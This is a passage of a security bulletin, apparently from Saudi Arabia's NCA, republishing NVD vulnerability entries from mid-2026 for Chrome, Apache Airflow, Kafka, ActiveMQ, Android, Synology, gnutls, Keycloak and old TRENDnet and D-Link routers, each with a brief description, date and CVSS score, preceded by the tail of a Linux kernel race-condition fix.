		---[end trace 0000000000000000]---
		
		Since the enablement of sysfs mode is separeted into two critical regions,
		one for sysfs buffer allocation and another for hardware enablement, it's
		possible to race with the perf mode. Fix this by double check whether
		the perf mode's been used before enabling the hardware in sysfs mode.
		
		mode:
		[sysfs mode] [perf mode]
		tmc_etr_get_sysfs_buffer()
		spin_lock(&drvdata->spinlock)
		[sysfs buffer allocation]
		spin_unlock(&drvdata->spinlock)
		spin_lock(&drvdata->spinlock)
		tmc_etr_enable_hw()
		drvdata->etr_buf = etr_perf->etr_buf
		spin_unlock(&drvdata->spinlock)
		spin_lock(&drvdata->spinlock)
		tmc_etr_enable_hw()
		WARN_ON(drvdata->etr_buf) // WARN sicne etr_buf initialized at
		the perf side
		spin_unlock(&drvdata->spinlock)
		
		With this fix, we retain the check for CS_MODE_PERF in get_etr_sysfs_buf.
		This ensures we verify whether the perf mode's already running before we
		actually allocate the buffer. Then we can save the time of
		allocating/freeing the sysfs buffer if race with the perf mode.
			2026-06-03	4.7

CVE-2026-11233	google - chrome	Insufficient policy enforcement in FoldableAPIs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	4.7
CVE-2026-11249	google - chrome	Use after free in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.7
CVE-2026-21017	samsung - multiple products	Improper handling of insufficient privileges in SecTelephonyProvider prior to SMR Jun-2026 Release 1 allows local attackers to access privileged files.	2026-06-05	4.6
CVE-2026-41014	apache - airflow	The partitioned_dag_runs endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	2026-06-01	4.3
CVE-2026-46605	apache - multiple products	Incomplete authorization by Apache ActiveMQ server before versions v6.2.6 and v5.19.7 allows authenticated connections to remove existing destinations with proper permissions. This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version v6.2.6 or v5.19.7, which fixes the issue.	2026-06-01	4.3

CVE-2026-46764	apache - airflow	The Event Log detail endpoint `GET /api/v2/eventLogs/{event_log_id}` in Apache Airflow fetched audit-log rows directly by numeric ID after only the generic Audit Log permission check, while the collection endpoint `GET /api/v2/eventLogs` applied per-Dag scoping. An authenticated UI/API user with audit-log read permission for one Dag could retrieve audit-log entries for any other Dag by guessing or enumerating the numeric event log ID. Affects deployments that rely on per-Dag audit-log scoping. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	2026-06-01	4.3
CVE-2026-41115	apache - kafka	An improper authorization vulnerability has been identified in Apache Kafka. The implementation of the CONSUMER_GROUP_DESCRIBE (69) API validates the DESCRIBE operation on the GROUP resource instead of the READ operation that documented in the official kafka documentation and the KIP-848. This discrepancy can result in misconfigured Access Control Lists (ACLs) and unintended security postures, like granting READ permission to users who should not be able to join/sync groups, or allowing users without READ permission (but with DESCRIBE permission) to access sensitive group metadata. The correct permission for CONSUMER_GROUP_DESCRIBE API is DESCRIBE GROUP so the current implementation is correct. However, the kafka documentation as well as the KIP-848 will be updated to reflect the correct permission. We advise the Kafka users to review existing group ACLs to ensure the principle of least privilege.	2026-06-02	4.3
CVE-2026-10702	mozilla - firefox	JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 151.0.3.	2026-06-02	4.3
CVE-2024-47273	synology - hyper_backup	An improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in Backup Task functionality in Synology Hyper Backup before 4.1.2-4036 allows remote authenticated users to write specific files via unspecified vectors.	2026-06-03	4.3
CVE-2026-11031	google - chrome	Insufficient validation of untrusted input in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11062	google - chrome	Insufficient policy enforcement in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to inject scripts or HTML into a privileged page via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11107	google - chrome	Inappropriate implementation in Downloads in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11126	google - chrome	Inappropriate implementation in DevTools in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11155	google - chrome	Inappropriate implementation in CSS in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11156	google - chrome	Inappropriate implementation in CSS in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11159	google - chrome	Uninitialized Use in Skia in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11161	google - chrome	Inappropriate implementation in DataTransfer in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11162	google - chrome	Inappropriate implementation in CSS in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11178	google - chrome	Insufficient policy enforcement in WebView in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11192	google - chrome	Insufficient validation of untrusted input in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11212	google - chrome	Insufficient policy enforcement in DevTools in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Medium)	2026-06-04	4.3
CVE-2026-11216	google - chrome	Incorrect security UI in File Input in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	4.3
CVE-2026-11219	google - chrome	Inappropriate implementation in Navigation in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	4.3
CVE-2026-11221	google - chrome	Insufficient validation of untrusted input in PointerLock in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	4.3
CVE-2026-11228	google - chrome	Inappropriate implementation in File Input in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	4.3
CVE-2026-11234	google - chrome	Inappropriate implementation in FoldableAPIs in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)	2026-06-04	4.3
CVE-2026-11245	google - chrome	Inappropriate implementation in Payments in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11252	google - chrome	Insufficient policy enforcement in Content Settings in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11253	google - chrome	Inappropriate implementation in Permissions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3

CVE-2026-11254	google - chrome	Inappropriate implementation in Permissions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11257	google - chrome	Inappropriate implementation in Browser in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11259	google - chrome	Insufficient validation of untrusted input in Cast in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11260	google - chrome	Inappropriate implementation in Permissions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11261	google - chrome	Inappropriate implementation in PDF in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11264	google - chrome	Policy bypass in Content Security Policy in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11266	google - chrome	Inappropriate implementation in SafeBrowsing in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass Safe Browsing via a malicious file. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11267	google - chrome	Insufficient policy enforcement in Extensions in Google Chrome prior to 149.0.7827.53 allowed an attacker who convinced a user to install a malicious extension to bypass content security policy via a crafted Chrome Extension. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11274	google - chrome	Inappropriate implementation in DOM Distiller in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11277	google - chrome	Insufficient policy enforcement in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11280	google - Chrome	Inappropriate implementation in Signin in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11285	google - chrome	Inappropriate implementation in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11286	google - chrome	Insufficient validation of untrusted input in Wallet in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11291	google - chrome	Inappropriate implementation in Android Autofill in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11292	google - chrome	Insufficient policy enforcement in Blink in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11294	google - chrome	Inappropriate implementation in Passwords in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11298	google - chrome	Inappropriate implementation in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11300	google - chrome	Inappropriate implementation in Permissions in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11302	google - chrome	Insufficient policy enforcement in Chrome for iOS in Google Chrome on iOS prior to 149.0.7827.53 allowed a remote attacker to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2026-11309	google - chrome	Insufficient policy enforcement in History in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	4.3
CVE-2024-47263	synology - hyper_backup	An improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in Backup.Repository webapi component in Synology Hyper Backup before 4.1.2-4036 allows remote authenticated users with administrator privileges to write specific files containing non-sensitive information via unspecified vectors.	2026-06-03	4.1
CVE-2026-28581	google - multiple products	In fixInitiatingUserIfNecessary of CallIntentProcessor.java, there is a possible way to make an emergency call due to a logic error in the code. This could lead to local with null execution privileges needed. User interaction is null for exploitation.	2026-06-01	4
CVE-2026-10998	google - chrome	Out of bounds read in Media in Google Chrome prior to 149.0.7827.53 allowed an attacker on the local network segment to perform an out of bounds memory read via malicious network traffic. (Chromium security severity: Medium)	2026-06-04	4
CVE-2026-5419	red hat - multiple products	A flaw was found in gnutls. The PKCS#7 padding check, performed during decryption, was not constant-time. This timing side-channel could allow a remote attacker to potentially leak sensitive information about the padding bytes through observable timing differences. This vulnerability is a form of information disclosure.	2026-06-01	3.7
CVE-2025-48616	google - multiple products	In multiple functions of KeyguardViewMediator.java , there is a possible way to bypass lockdown mode with screen pinning due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	3.3
CVE-2026-0016	google - multiple products	In updateProvidersWhenServiceRemoved of CredentialManagerService.java, there is a possible way to override settings across users due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	3.3
CVE-2026-0050	google - multiple products	In handleBondStateChanged of AdapterService.java, there is a possible sensitive information disclosure due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	3.3

CVE-2026-0056	google - multiple products	In setTo of ResourceTypes.cpp, there is a possible read out of bounds due to an incorrect bounds check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	3.3
CVE-2026-28586	google - multiple products	In multiple functions of AppOpsService.java, there is a possible missing permission check due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	2026-06-01	3.3
CVE-2026-40963	apache - airflow	The structure_data endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	2026-06-01	3.1
CVE-2026-45426	apache - airflow	Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's `str.lstrip()` to the requested path segment when verifying the JWT's `sub` claim. `str.lstrip()` strips any of a *set* of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. `dag_a` would authorize log access to any other Dag whose name began with any subset of the characters `{d, a, g, _}` (e.g. `dag_attacker`, `aaaa_target`, `_dag_secret`). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	2026-06-01	3.1
CVE-2026-11240	google - chrome	Insufficient validation of untrusted input in Loader in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	3.1
CVE-2026-11244	google - chrome	Insufficient validation of untrusted input in WebAuthentication in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	3.1
CVE-2026-11247	google - chrome	Insufficient policy enforcement in CustomTabs in Google Chrome on Android prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	3.1
CVE-2026-11251	google - chrome	Insufficient policy enforcement in Password Manager in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Low)	2026-06-05	3.1
CVE-2026-9088	red hat - multiple products	A flaw was found in org.keycloak.services. An administrator with delegated access to read group memberships and users can bypass user profile permissions by accessing the group members endpoint. This allows the administrator to view user attributes that are explicitly configured to be denied, leading to information disclosure.	2026-06-05	2.7
CVE-2026-10180	trendnet - TEW-432BRP	A vulnerability has been found in TRENDnet TEW-432BRP 3.10B20. Impacted is the function formSysCmd of the file /goform/formSysCmd. Such manipulation of the argument sysCmd leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	2.1
CVE-2026-10182	trendnet - TEW-432BRP	A vulnerability was determined in TRENDnet TEW-432BRP 3.10B20. The impacted element is the function formWlanSetup of the file /goform/formWlanSetup. Executing a manipulation of the argument enrollee can lead to command injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	2026-05-31	2.1
CVE-2026-11341	d-link - DWR-M920	A flaw has been found in D-Link DWR-M920 up to 1.1.50. The impacted element is the function sub_412DA0 of the file /boafrm/formIMEISetup. This manipulation of the argument IMEI_value causes os command injection. The attack can be initiated remotely. The exploit has been published and may be used.	2026-06-05	2.1

وحيث تقدم الهيئة تفاصيل الثغرات كما تم نشرها من قبل NIST's NVD. وإذ تبقى مسؤولية الجهة أو الشخص قائمة للتأكد من تطبيق التوصيات المناسبة.

Where NCA provides the vulnerability information as published by NIST's NVD. In addition, it is the entity's or individual's responsibility to ensure the implementation of appropriate recommendations.